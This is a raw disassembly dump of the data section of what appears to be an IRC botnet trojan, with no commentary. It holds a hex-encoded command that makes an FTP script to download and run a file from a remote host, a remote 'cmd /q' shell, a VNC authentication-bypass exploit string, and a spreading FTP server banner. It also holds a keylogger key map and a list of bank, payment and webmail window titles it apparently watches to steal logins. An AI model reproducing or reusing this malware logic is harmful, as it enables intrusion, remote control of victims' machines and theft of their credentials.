aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
align 4
word_4346DC dw 1 ; DATA XREF: ___:0040EC29r
; sub_41B55B+24r ...
align 10h
dword_4346E0 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_41A1B1+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 10h
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 10h
a226TransferCom db '226 Transfer complete',0Ah,0
align 4
aList_0 db 'LIST',0
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:004387E8o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:004387F4o
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass_0 db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_2 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo
; sub_41AA1E+F5o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o
; sub_41AF8F+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo
align 4
unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_34 db ' failed to start worker thread, error %d',0
align 4
unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_434C78: ; DATA XREF: sub_4100B4+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_41036B+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_41036B+61Co
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o
; sub_41036B+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
align 4
aS db '<%s>',0 ; DATA XREF: sub_41036B+2E9o
; sub_41036B+40Bo
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm db 'AM',0 ; DATA XREF: sub_41036B+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_41036B+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_41036B+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_41036B+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_435120 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410D6Eo
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:00410CB8o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_35 db 'Failed to start client thread, error: <%d>.',0
unk_4351CC db 2Dh ; - ; DATA XREF: ___:00410E94o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_435214 db 2Dh ; - ; DATA XREF: ___:004110E6o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_36 db 'Failed to start connection thread, error: <%d>.',0
unk_435254 db 2Dh ; - ; DATA XREF: ___:0041101Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_435298 db 2Dh ; - ; DATA XREF: ___:004113A9o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4352C4 db 2Dh ; - ; DATA XREF: ___:00411382o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
unk_4352F0 db 2Dh ; - ; DATA XREF: ___:00411362o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
align 4
unk_43532C db 2Dh ; - ; DATA XREF: ___:004112A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_435358 db 2Dh ; - ; DATA XREF: sub_4113C5:loc_41140Ao
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_435384 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_41141F+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_435520 db 2Dh ; - ; DATA XREF: sub_4116D6+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_435554 db 2Dh ; - ; DATA XREF: sub_4116D6+59o
; sub_4116D6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_43559C db 2Dh ; - ; DATA XREF: sub_411827+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_4355C4 db 2Dh ; - ; DATA XREF: sub_411827+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_435604 db 2Dh ; - ; DATA XREF: sub_411827+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644 db 2Dh ; - ; DATA XREF: sub_411920+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co
align 4
dword_435684 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_4119F9+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h
aFailedToSta_37 db '- Failed to start client thread, error: <%d>.',0
align 10h
dd 234032Dh, 6B636F73h, 3023473h
aClientConnec_2 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 4
dd 234032Dh, 6B636F73h, 3023473h
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 4
dd 4000500h, 7868746Bh, 2 dup(0)
dword_435848 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: ___:0041260Fo
dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail db 'Hotmail',0
dd 1Eh dup(0)
aWindowsLiveMes db 'Windows Live Messenger',0
align 10h
dd 1Ah dup(0)
aPaypal_1 db 'PayPal',0
align 10h
dd 1Eh dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aStormpay_comAc db 'StormPay.com, Accept Online Payments',0
align 10h
dd 16h dup(0)
aWorldpay db 'WorldPay',0
align 4
dd 1Dh dup(0)
dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog db 'Terra - Fotolog',0
dd 1Ch dup(0)
dd 6F686159h, 216Fh, 1Eh dup(0)
dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma db 'Bienvenido a Gmail',0
align 4
dd 1Bh dup(0)
aWelcomeToGmail db 'Welcome to Gmail',0
align 4
dd 1Bh dup(0)
aDomainNameRegi db 'Domain Name Registration',0
align 4
dd 19h dup(0)
dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin db 'My Account Login',0
align 4
dd 1Bh dup(0)
aMercadolivreBr db 'MercadoLivre Brasil',0
dd 1Bh dup(0)
aWellsFargoHome db 'Wells Fargo Home Page',0
align 10h
dd 1Ah dup(0)
aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0
dd 19h dup(0)
aEbay db 'eBay',0
align 10h
dd 1Eh dup(0)
aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
db 49h ; I
db 6Eh, 69h, 63h
db 69h ; i
db 61h, 72h, 20h
db 73h ; s
db 65h, 73h, 69h
db 0F3h ; С
aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
db 'ting goods & more at low prices',0
align 4
dd 4 dup(0)
dword_436448 dd 8, 62h, 62000000h, 2 dup(0) ; DATA XREF: ___:00412661o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 41000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_436BB4 dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
; DATA XREF: ___:0041262Do
; sub_41AF8F+EBo
dd 6E727574h, 25282029h, 2973h, 252EBB2Eh, 2EAB2E73h, 65522820h
dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
dd 2973h, 252EBB2Eh, 2EAB2E73h, 0
dd offset off_4374C0
dd offset off_4374BC
dd offset off_4374B8
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
